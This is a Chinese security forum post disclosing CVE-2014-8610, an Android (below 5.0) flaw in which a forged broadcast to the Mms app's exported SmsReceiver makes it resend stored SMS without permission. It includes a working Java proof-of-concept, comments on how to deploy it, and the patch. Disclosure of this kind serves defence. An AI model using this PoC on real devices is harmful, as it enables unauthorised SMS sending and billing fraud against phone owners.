CVE-2014-8610 Android < 5.0 短信重发漏洞

瘦蛟舞 (科普是一种公益行为) | 2014-11-26 16:01

###影响版本:

android<5.0

###ID

CVE-2014-8610

Android id 17671795

###危害

重发短信恶意扣费

通过伪造草稿箱短信,可以达到无权限发送任意短信的效果

###原理

典型的广播接收器组件泄露加上广播伪造利用。

漏洞存在文件:https://android.googlesource.com/platform/packages/apps/Mms/+/android-4.4.4_r2.0.1/src/com/android/mms/transaction/SmsReceiverService.java

漏洞存在组件:.transaction.SmsReceiver

伪造恶意广播`com.android.mms.transaction.MESSAGE_SENT`会回调方法`handleSmsSent`。恶意应用将伪造广播的resultcode设置为RESULT_ERROR_RADIO_OFF将会进入下述代码逻辑,URI中的SMS将会移动到短信发送队列,然后你草稿箱的短信就被不知不觉的发送啦

关键代码:

private void handleSmsSent(Intent intent, int error) {
...
    } else if ((mResultCode == SmsManager.RESULT_ERROR_RADIO_OFF) || (mResultCode == SmsManager.RESULT_ERROR_NO_SERVICE)) {
        if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
            Log.v(TAG, "handleSmsSent: no service, queuingmessage w/ uri: " + uri);
        }
        // We got an error with no service or no radio. Register for state changes so
        // when the status of the connection/radio changes, we can try to send the
        // queued up messages.
        registerForServiceStateChanges();
        // We couldn't send the message, put in the queue to retry later.
        Sms.moveMessageToFolder(this, uri, Sms.MESSAGE_TYPE_QUEUED, error);

###POC

Intent intent= new Intent("com.android.mms.transaction.MESSAGE_SENT");
intent.setData(Uri.parse("content://sms"));
intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiver");
sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null);

/**
Some tips about the POC:
1. uri is content://sms without specifying the ID, that means all the SMS will be resent.
2. must use explicit intent
3. with this version of sendOrderedBroadcast, the initial result code can be controlled
**/

###修复

将广播接收器.transaction.SmsReceiver加上了android.permission.SEND_SMS权限要求。

<receiver android:name=".transaction.SmsReceiver" android:permission="android.permission.SEND_SMS">

https://android.googlesource.com/platform/packages/apps/Mms/+/008d6202fca4002a7dfe333f22377faa73585c67

原文:http://xteam.baidu.com/?p=164

[原文地址]

各种吐槽:

1#

_Thorns | 2014-11-26 16:29

哈哈,这个有意思啊。

2#

梧桐雨 (?ofni.uygnotuw?) | 2014-11-26 17:11

师傅这是要冲击领主的节奏呀

3#

瘦蛟舞 (科普是一种公益行为) | 2014-11-26 18:05

@梧桐雨 妥妥的

4#

Yaseng (看黄片 到 www.yaseng.me) | 2014-11-26 18:38

我厂勃士威武

5#

xsjswt | 2014-11-26 18:53

我去看微薄 科学家肯定又发段子了

6#

xsjswt | 2014-11-26 18:55

科学家竟然没有发段子宣传 这不科学

7#

瘦蛟舞 (科普是一种公益行为) | 2014-11-26 18:57

@xsjswt 科学家是谁?

8#

瘦蛟舞 (科普是一种公益行为) | 2014-11-26 19:20

@梧桐雨 据说你研究过领主算法?

9#

梧桐雨 (?ofni.uygnotuw?) | 2014-11-26 19:25

@瘦蛟舞 之前有,据@xsser 说没改。

10#

我勒个去 | 2014-11-26 20:53

@xsjswt 猥琐2B,鉴定完毕

11#

无敌L.t.H (?……肉肉、狗疯、ressx点请战挑桶冰) | 2014-11-26 22:04

我又想起给手机里的所有好友群发自己怀孕了的段子……

12#

Jumbo | 2014-11-26 22:09

这些代码怎么用呢

13#

hqdvista (...) | 2014-11-26 22:26

@xsjswt 科学家刚发了

14#

我勒个去 | 2014-11-26 22:28

@hqdvista 哈哈,要求如是,不能免俗

15#

瘦蛟舞 (科普是一种公益行为) | 2014-11-27 09:56

@Jumbo 创建android project然后再MainActivity里插入POC就可以了

16#

瘦蛟舞 (科普是一种公益行为) | 2014-11-27 10:03

@我勒个去 @xsjswt 原来猥琐说的是你

17#

xsjswt | 2014-11-27 10:07

@hqdvista 果然不出我所料

18#

cnrstar (Be My Personal Best!) | 2014-11-27 10:09

@hqdvista @瘦蛟舞 我有猥琐私房照,10WB出,量大从优。

19#

lightless | 2014-11-27 10:54

测试了一下。。威力不凡。。写了content://sms,把我收件箱重发了一遍。。但是content://sms/draft草稿发不出去的。。。可能是跟MIUI有关吧。。

20#

瘦蛟舞 (科普是一种公益行为) | 2014-11-27 10:56

@lightless 哈哈

21#

瘦蛟舞 (科普是一种公益行为) | 2014-11-27 10:57

@lightless 你咋不拿模拟器试了。。

22#

瘦蛟舞 (科普是一种公益行为) | 2014-11-27 11:06

@梧桐雨 已经是领主了。。哈哈

23#

Jumbo | 2014-11-27 12:25

@瘦蛟舞 也就是说,要让对方安装你的android project?

留言评论(旧系统):

沙包 @ 2014-12-01 09:43:53

感觉好厉害的样子

本站回复:

-_-|||

佚名 @ 2014-12-01 15:05:48

好厉害的说!!!

本站回复:

-_-|||